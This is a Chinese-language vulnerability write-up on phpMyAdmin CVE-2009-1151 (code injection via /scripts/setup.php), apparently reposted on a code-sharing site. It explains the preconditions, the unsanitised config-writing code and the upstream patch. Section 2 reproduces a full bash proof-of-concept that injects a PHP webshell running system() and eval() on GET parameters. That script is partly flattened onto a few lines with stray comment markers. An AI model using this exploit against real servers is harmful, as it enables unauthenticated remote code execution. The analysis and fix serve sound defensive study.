phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151


目錄

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響范圍
4. 漏洞代碼分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

Insufficient output sanitizing when generating configuration file
phpMyAdmin是用PHP編寫的工具,用於通過WEB管理MySQL
phpMyAdmin的Setup腳本用於生成配置。如果遠程攻擊者向該腳本提交了特制的POST請求的話,就可能在生成的config.inc.php 配置文件中包含任意PHP代碼。由於配置文件被保存到了服務器上,未經認證的遠程攻擊者可以利用這個漏洞執行任意PHP代碼

Relevant Link:

http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1151
http://cwe.mitre.org/data/definitions/661.html
http://sebug.net/vuldb/ssvid-11665
http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/

 

2. 漏洞觸發條件

要使用這個漏洞對服務器進行攻擊,需要滿足幾個必要的條件2) linux: config目錄對web server的賬戶(常常是other組)具有寫(r)權限

1. PHPMyadmin目錄下存在config文件夾
/*
<?php    
    $config = @fopen('./config/config.inc.php', 'w');
    $s = "hello";
    $r = fwrite($config, $s);
    fclose($config);
?>  
demo代碼向config.inc.php中寫入數據,但是如果config文件夾本身不存在,fopen函數是無法直接創新新目錄並寫入文件的,如要顯式地創建新目錄,並向目標文件寫入數據
*/
這個漏洞的攻擊場景是通過Code Inject(代碼注入),基於WEB容器向磁盤上寫入文件(創建文件),但是我們知道操作系統的寫文件API是不會自動創建目錄的,如果config這個文件夾不存在,則即使存在漏洞,也無法成功利用

2. Web Server Writable 
通過代碼漏洞進行GETSHELL,本質上是在利用WEB容器調用操作系統的"文件系統API"進行磁盤讀寫,向指定的磁盤目錄下寫入一個特定內容的文件。所以,這就要求WEB容器對指定的磁盤路徑具有"可寫"的權限
    1) windows: config目錄對web server的賬戶具有寫權限

3. /scripts/setup.php文件本身存在漏洞
代碼未對sava post的數據進行有效過濾、轉義,是導致WEB入侵的根本原因

0x0: 簡單判斷是否可能存在漏洞的方式

http://localhost/phpMyAdmin-2.11.11.3-all-languages/scripts/setup.php

當config文件夾不存在時,即使setup.php文件存在漏洞,黑客利用Poc也是無法向目標服務器打入WEBSHELL的

反之,如果沒有出現這個提示,則說明具備存在漏洞的必要條件

0x1: Exploit POC

POC的發起需要附帶對應的token,在手工測試的時候需要注意這點

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, 
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)

# more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

if [[ $# -ne 1 ]]
then
    echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
    echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
    exit
fi

if ! which curl >/dev/null
then
    echo "sorry but you need curl for this script to work!"
           echo "on Debian/Ubuntu: sudo apt-get install curl"
           exit
fi


function exploit {

/*
動態獲取token token=$1&action=save&configuration="a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:23:"host']="''; phpinfo();//";s:9:"localhost";s:9:""extension";s:6:"mysqli";s:12:"connect_type";s:3:""tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:""config";s:4:"user";s:4:"root";}}}&eoltype=unix */ postdata="token=$1&action=save&configuration="\ "a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\ "%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\ "%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\ "%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\ "%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix" /*
發起攻擊 token=$1&action=save&configuration=a:1:"{s:7:"Servers";a:1:{i:0;a:6:{s:136:"host']="''; if(\$_GET['c']){echo '<pre>';"system(\$_GET['c']);echo '</pre>';}"if(\$_GET['p']){echo '<pre>';eval"(\$_GET['p']);echo '</pre>';};//"";s:9:"localhost";s:9:"extension";s:6:""mysqli";s:12:"connect_type";s:3:"tcp";s:8:""compress";b:0;s:9:"auth_type";s:6:"config"";s:4:"user";s:4:"root";}}}&eoltype=unix */ postdata2="token=$1&action=save&configuration=a:1:"\ "{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\ "%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\ "system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\ "if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\ "(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\ "%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\ "mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\ "%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\ "%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix" flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html" echo "[+] attempting to inject phpinfo() ..." curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null then curl -ks --url "$3/config/config.inc.php" >$flag echo "[+] success! phpinfo() injected successfully! output saved on $flag" curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:" echo " $3/config/config.inc.php?c=ls+-l+/" echo " $3/config/config.inc.php?p=phpinfo();" echo " please send any feedback/improvements for this script to"\ "unknown.pentester<AT_sign__here>gmail.com" else echo "[+] no luck injecting to $3/config/config.inc.php :(" exit fi } # end of exploit function cookiejar="/tmp/$(basename $0).$RANDOM.txt" token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12` echo "[+] checking if phpMyAdmin exists on URL provided ..." #if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null if grep phpMyAdmin $cookiejar &>/dev/null then length=`echo -n $token | wc -c` # valid form token obtained? if [[ $length -eq 32 ]] then echo "[+] phpMyAdmin cookie and form token received successfully. Good!" # attempt exploit! exploit $token $cookiejar $1 else echo "[+] could not grab form token. you might want to try exploiting the vuln manually :(" exit fi else echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?" exit fi

Relevant Link:

http://www.gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt

 

3. 漏洞影響范圍

0x1: 存在漏洞的程序版本

1. For 2.11.x: versions before 2.11.9.5 
2. For 3.x: versions before 3.1.3.1

 

4. 漏洞代碼分析

0x1: source code sample downloan link

http://download.chinaunix.net/download.php?id=29329&ResourceID=42

0x2: Vul Code Analysis

\setup.php: 漏洞存在在和配置文件讀寫相關的代碼片段中

1. 對輸入數據沒有進行過濾、參數化防御

function get_cfg_string($cfg) 
{
    global $script_info, $script_version, $now, $crlf;

    $c = $cfg;
    $ret = "<?php$crlf/*$crlf * Generated configuration file$crlf * Generated by: $script_info$crlf * Version: $script_version$crlf * Date: " . $now . $crlf . ' */' . $crlf . $crlf;

    if (count($c['Servers']) > 0) 
    {
        die(var_dump($c['Servers']));
        $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf;
        foreach ($c['Servers'] as $cnt => $srv) 
        {
            $ret .= $crlf . '/* Server ' . strtr(get_server_name($srv, $cnt, false), '*', '-') . " */$crlf\$i++;" . $crlf;
            foreach ($srv as $key => $val) 
            {
                /*
        $key = preg_replace('/[^A-Za-z0-9_]/', '_', $key);
        對用戶的輸入數據沒有進行必要的處理
        1. 過濾、轉移:防止出現代碼和數據的混淆
        2. 參數化防御:原則上只能接收來自用戶的一定限定范圍內的數據
        */
                $ret .= get_cfg_val("\$cfg['Servers'][\$i]['$key']", $val);
            }
        }
        $ret .= $crlf . '/* End of servers configuration */' . $crlf . $crlf;
    }
    unset($c['Servers']);

    foreach ($c as $key => $val) 
    {
        /*
    $key = preg_replace('/[^A-Za-z0-9_]/', '_', $key);
    對用戶的輸入數據沒有進行必要的處理
    1. 過濾、轉移:防止出現代碼和數據的混淆
    2. 參數化防御:原則上只能接收來自用戶的一定限定范圍內的數據
    */
        $ret .= get_cfg_val("\$cfg['$key']", $val);
    }

    $ret .= '?>' . $crlf;
    return $ret;
}

2. 對輸出到磁盤文件上的數據沒有進行必要的轉義、過濾

...
<?php
        break;
    case 'save':
    //以寫的方式打開config.inc.php文件,如果不存在,則創建之
        $config = @fopen('./config/config.inc.php', 'w');
        if ($config === FALSE) 
    {
            message('error', 'Could not open config file for writing! Bad permissions?');
            break;
        }
    //從$_SESSION['configuration']中獲取配置信息,而黑客可以通過$_POST數據包注入控制這個$SESSION['configuration']數組信息
        $s = get_cfg_string($_SESSION['configuration']);
        $r = fwrite($config, $s);
        if (!$r || $r != strlen($s)) 
    {
            message('error', 'Could not write to config file! Not enough space?');
            break;
        } 
    else 
    {
            message('notice', 'Configuration saved to file config/config.inc.php in phpMyAdmin top level directory, copy it to top level one and delete directory config to use it.', 'File saved');
        }
        unset($r, $s);
        fclose($config);
        break;
...

 

5. 修復方法

0x1: Upgrade to phpMyAdmin 2.11.9.5 or 3.1.3.1

0x2: Apply patch

function get_cfg_string($cfg) 
{
    global $script_info, $script_version, $now, $crlf;

    $c = $cfg;
    $ret = "<?php$crlf/*$crlf * Generated configuration file$crlf * Generated by: $script_info$crlf * Version: $script_version$crlf * Date: " . $now . $crlf . ' */' . $crlf . $crlf;

    if (count($c['Servers']) > 0) 
    {
        $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf;
        foreach ($c['Servers'] as $cnt => $srv) 
        {
            $ret .= $crlf . '/* Server ' . strtr(get_server_name($srv, $cnt, false), '*', '-') . " */$crlf\$i++;" . $crlf;
            foreach ($srv as $key => $val) 
            {
                //防御代碼
                $key = preg_replace('/[^A-Za-z0-9_]/', '_', $key);
                $ret .= get_cfg_val("\$cfg['Servers'][\$i]['$key']", $val);
            }
        }
        $ret .= $crlf . '/* End of servers configuration */' . $crlf . $crlf;
    }
    unset($c['Servers']);

    foreach ($c as $key => $val) 
    {
        //防御代碼
        $key = preg_replace('/[^A-Za-z0-9_]/', '_', $key);
        $ret .= get_cfg_val("\$cfg['$key']", $val);
    }

    $ret .= '?>' . $crlf;
    return $ret;
}

這是一種參數化防御的思想,將用戶可以輸入的server參數限定在"數字 or 字母"之中,防止黑客通過參數注入達到代碼注入並執行的目的

Relevant Link:

https://github.com/phpmyadmin/phpmyadmin/commit/460a649dbcc47065fbf01bbc14392c3fc6ea161b

 

6. 攻防思考

0x1: Improper encoding

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.
Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").
If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

Relevant Link:

http://cwe.mitre.org/data/definitions/116.html

0x2: 中心化、底層代碼邏輯防御思想

對於WEB代碼層漏洞的防御和修復,將防御點下移,在中心、底層的代碼邏輯部署防御模塊。基於這個思想,我們可以有如下幾種防御代碼部署方式

1. 在系統邊界的數據接收模塊中部署參數化防御、過濾模塊
2. 在代碼執行的底層執行邏輯塊中部署惡意、可疑代碼檢測、清洗模塊

 關於這種防御思想的應用,請參閱另外2篇文章

http://www.cnblogs.com/LittleHann/p/3602731.html
http://www.cnblogs.com/LittleHann/p/3574694.html

 

Copyright (c) 2014 LittleHann All rights reserved

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM